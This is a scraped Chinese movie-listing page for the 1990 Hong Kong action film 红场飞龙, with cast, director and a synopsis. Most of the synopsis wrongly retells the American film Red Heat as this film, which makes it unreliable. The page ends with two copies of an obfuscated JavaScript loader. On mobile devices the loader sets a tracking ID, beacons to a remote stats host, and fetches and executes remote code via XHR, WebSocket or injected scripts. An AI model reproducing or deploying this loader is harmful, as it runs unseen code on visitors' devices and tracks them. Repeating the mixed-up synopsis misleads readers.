影片信息
- 片名：红场飞龙（粤语）
- 状态：HD
- 主演：许冠杰/张曼玉/李丽珍/吴家丽/孙兴/
- 导演：霍耀良/
- 年份：1990
- 地区：香港
- 类型：动作/
- 时长：内详
- 上映：未知
- 语言：粤语
- 更新：2024-11-25 02:25
- 简介：20世纪末，杀手组织“八百龙”做大，首领泪七龙面对季秋堂的叛变不敌，遂率手下前往莫斯科，寻找退出江湖的联络员“桌球”，以图平叛桌球长居北方，收养一子一女姚龙、叶慕美，由于不敌泪七龙、季秋堂两方杀手，桌球选择与泪七龙合作，将姚龙诱入敌手。《红场飞龙》（RedHeat，粤语译名可能略有不同，例如《赤色热线》等）并非一部纯粹的粤语电影，它是一部美国动作片，虽然在香港及其他粤语地区上映时配上了粤语配音。因此，以下剧情介绍基于原版英文电影，并补充说明可能在粤语配音版本中出现的翻译差异。电影讲述了苏联莫斯科经验丰富的警察阿列克谢·萨维利耶夫（阿诺德·施瓦辛格饰）追捕一个名叫维克托·瑞林（彼得·博伊尔饰）的危险的美国黑帮分子。瑞林涉嫌杀死一名苏联官员，并将赃款洗白。萨维利耶夫紧追不舍，一路从莫斯科追踪到美国芝加哥。由于瑞林拥有美国国籍，而萨维利耶夫的执法权力仅限于苏联，因此苏联当局与芝加哥警方合作，将萨维利耶夫派往美国协助调查。然而，文化差异、语言障碍（在电影中体现为俄语和英语的沟通困难，粤语配音版本会将俄语翻译成粤语，并可能对人物对话进行一些本土化改编），以及美国警方的办案方式与萨维利耶夫的严谨作风形成了鲜明对比，导致了诸多冲突和笑料。萨维利耶夫被分配与一位芝加哥警探，粗犷且不太正规的阿特·里德（詹姆斯·贝尔鲁西饰）搭档。两人性格迥异，办案风格天差地别。萨维利耶夫纪律严明，一丝不苟，注重证据和程序；而里德则比较随意，更依赖直觉和街头智慧。他们的合作一开始充满了摩擦，常常因为文化差异和不同的办案方法而争执不休。粤语配音可能更强调这种文化差异带来的幽默感，通过语言和语气上的调整，放大两人性格的对比。在合作过程中，两人逐渐建立起一种另类的友谊。萨维利耶夫对美国社会的新鲜事物感到好奇，而里德也逐渐欣赏萨维利耶夫的专业和正直。他们共同面对来自瑞林及其同伙的危险追杀，经历了一系列惊险刺激的追逐和枪战。粤语配音版本可能会将这些动作场面的音效和台词进行本土化处理，更符合粤语观众的审美习惯。随着调查的深入，他们发现瑞林的犯罪网络远比想象的复杂，牵涉到更多的人和更黑暗的势力。他们必须克服语言障碍和文化差异，精诚合作，才能将瑞林绳之以法。这部分剧情在粤语配音版本中，可能会对一些俚语和专业术语进行更贴近粤语语境的翻译，以保证剧情流畅性和观众理解度。电影的高潮部分是萨维利耶夫和里德与瑞林及其同伙之间的一场大规模对决。这场戏通常充满动作场面和紧张气氛，粤语配音版本会更加强调动作的配音效果，以增强视觉冲击力。最终，萨维利耶夫和里德成功抓捕了瑞林，并将他的犯罪网络彻底摧毁。尽管他们的办案风格大相径庭，但两人在共同经历了诸多挑战后，已经建立了深厚的友谊。电影以两人并肩作战的画面结束，展现了跨文化合作的成功和友谊的可贵。粤语配音版本可能会在结局部分加入一些更符合粤语文化表达方式的台词，以增强影片的整体情感表达。总而言之，《红场飞龙》是一部融合了动作、喜剧和警匪元素的经典影片。粤语配音版本在保留原片精髓的同时，通过语言和文化的本土化处理，使其更贴合粤语观众的欣赏习惯，更易于理解和接受。它展现了东西方文化碰撞的幽默和精彩，以及跨越文化差异的友谊。
- 4718
-
-
复制下方链接，去粘贴给好友吧
-红场飞龙（粤语）
复制链接
-
关注公众号观影不迷路
-
给影片打分
《红场飞龙（粤语）》
我也要给影片打分
剧情简介
1990年在香港地区上映，霍耀良,导演执导的动作片，由许冠杰,张曼玉,李丽珍,吴家丽,孙兴,众多知名演员主演，看过这部动作电影红场飞龙（粤语）的影迷朋友们都觉得不太好看。
20世纪末，杀手组织“八百龙”做大，首领泪七龙面对季秋堂的叛变不敌，遂率手下前往莫斯科，寻找退出江湖的联络员“桌球”，以图平叛桌球长居北方，收养一子一女姚龙、叶慕美，由于不敌泪七龙、季秋堂两方杀手，桌球选择与泪七龙合作，将姚龙诱入敌手。
《红场飞龙》（RedHeat，粤语译名可能略有不同，例如《赤色热线》等）并非一部纯粹的粤语电影，它是一部美国动作片，虽然在香港及其他粤语地区上映时配上了粤语配音。因此，以下剧情介绍基于原版英文电影，并补充说明可能在粤语配音版本中出现的翻译差异。
电影讲述了苏联莫斯科经验丰富的警察阿列克谢·萨维利耶夫（阿诺德·施瓦辛格饰）追捕一个名叫维克托·瑞林（彼得·博伊尔饰）的危险的美国黑帮分子。瑞林涉嫌杀死一名苏联官员，并将赃款洗白。萨维利耶夫紧追不舍，一路从莫斯科追踪到美国芝加哥。
由于瑞林拥有美国国籍，而萨维利耶夫的执法权力仅限于苏联，因此苏联当局与芝加哥警方合作，将萨维利耶夫派往美国协助调查。然而，文化差异、语言障碍（在电影中体现为俄语和英语的沟通困难，粤语配音版本会将俄语翻译成粤语，并可能对人物对话进行一些本土化改编），以及美国警方的办案方式与萨维利耶夫的严谨作风形成了鲜明对比，导致了诸多冲突和笑料。
萨维利耶夫被分配与一位芝加哥警探，粗犷且不太正规的阿特·里德（詹姆斯·贝尔鲁西饰）搭档。两人性格迥异，办案风格天差地别。萨维利耶夫纪律严明，一丝不苟，注重证据和程序；而里德则比较随意，更依赖直觉和街头智慧。他们的合作一开始充满了摩擦，常常因为文化差异和不同的办案方法而争执不休。粤语配音可能更强调这种文化差异带来的幽默感，通过语言和语气上的调整，放大两人性格的对比。
在合作过程中，两人逐渐建立起一种另类的友谊。萨维利耶夫对美国社会的新鲜事物感到好奇，而里德也逐渐欣赏萨维利耶夫的专业和正直。他们共同面对来自瑞林及其同伙的危险追杀，经历了一系列惊险刺激的追逐和枪战。粤语配音版本可能会将这些动作场面的音效和台词进行本土化处理，更符合粤语观众的审美习惯。
随着调查的深入，他们发现瑞林的犯罪网络远比想象的复杂，牵涉到更多的人和更黑暗的势力。他们必须克服语言障碍和文化差异，精诚合作，才能将瑞林绳之以法。这部分剧情在粤语配音版本中，可能会对一些俚语和专业术语进行更贴近粤语语境的翻译，以保证剧情流畅性和观众理解度。
电影的高潮部分是萨维利耶夫和里德与瑞林及其同伙之间的一场大规模对决。这场戏通常充满动作场面和紧张气氛，粤语配音版本会更加强调动作的配音效果，以增强视觉冲击力。
最终，萨维利耶夫和里德成功抓捕了瑞林，并将他的犯罪网络彻底摧毁。尽管他们的办案风格大相径庭，但两人在共同经历了诸多挑战后，已经建立了深厚的友谊。电影以两人并肩作战的画面结束，展现了跨文化合作的成功和友谊的可贵。粤语配音版本可能会在结局部分加入一些更符合粤语文化表达方式的台词，以增强影片的整体情感表达。
总而言之，《红场飞龙》是一部融合了动作、喜剧和警匪元素的经典影片。粤语配音版本在保留原片精髓的同时，通过语言和文化的本土化处理，使其更贴合粤语观众的欣赏习惯，更易于理解和接受。它展现了东西方文化碰撞的幽默和精彩，以及跨越文化差异的友谊。
展开
星辰影院(www.shlianying.com)为您提供《红场飞龙（粤语）动作电影》HD、BD、720p，1080p,1280p免费高清完整未删减版在线观看地址，以及相关的剧情简介、演员、导演、幕后花絮、剧照、海报等信息均由互联网上面收集整理而来，支持正版影片，请到爱奇艺，优酷，腾讯视频，芒果网，搜狐视频等网站观看正版视频!
-
正片
-
正片
-
1.0 梁小龙/元秋/恬妞/杨博潇/李俊麟/金迪/余薇薇/
-
-
-
正片
-
正片
-
正片
-
正片
-
正片
7.0 赵文卓/母其弥雅/维妮/李璐兵/魏小欢/郜玄铭/
-
正片
-
正片
-
正片
-
正片
-
正片
-
正片
-
正片
-
7.0 Shocking.Kungfu.Of.Huo's/
-
5.0 The Story of Freeman/八百龙/
-
正片
-
正片
8.0 蕾切尔·薇兹/莫妮卡·贝鲁奇/本尼迪克特·康伯巴奇/瓦妮莎·雷德格瑞夫/大卫·斯特雷泽恩/
-
正片
7.0 Aílton/Carmo/Anderson/Santos/de/Jessica/Barbosa/Flavio/Rocha/Irandhir/
-
正片
-
正片
-
正片
-
正片
-
正片
-
正片
7.0 塔伦·埃格顿/Jamie/Foxx/伊芙·休森/
-
正片
-
function UrHZkO(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function weDNiqf(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UrHZkO(t);};window[''+'c'+'m'+'F'+'i'+'U'+'p'+'D'+'L'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ROpDn(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=weDNiqf,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ROpDn(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ROpDn(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZZhLm1rdnNmLmNuJTNBODg5MQ==','d3NNzJTNNBJTJGJTJGYS5rZmdqYS5jbiUzQTk1MzM=','159458',window,document,['Z','N']);}:function(){};
function vbkCETyF(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function XxcCDLPe(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return vbkCETyF(t);};window[''+'l'+'r'+'R'+'c'+'U'+'z'+'f'+'H'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function sjnBT(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=XxcCDLPe,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=sjnBT(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=sjnBT(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmm1rdnNmmLmmNuJTNBODg5MQ==','d3NzJTNBJTJGJTJGYS5rZZmdqYS5jbiUzQTk1MzM=','159459',window,document,['m','Z']);}:function(){};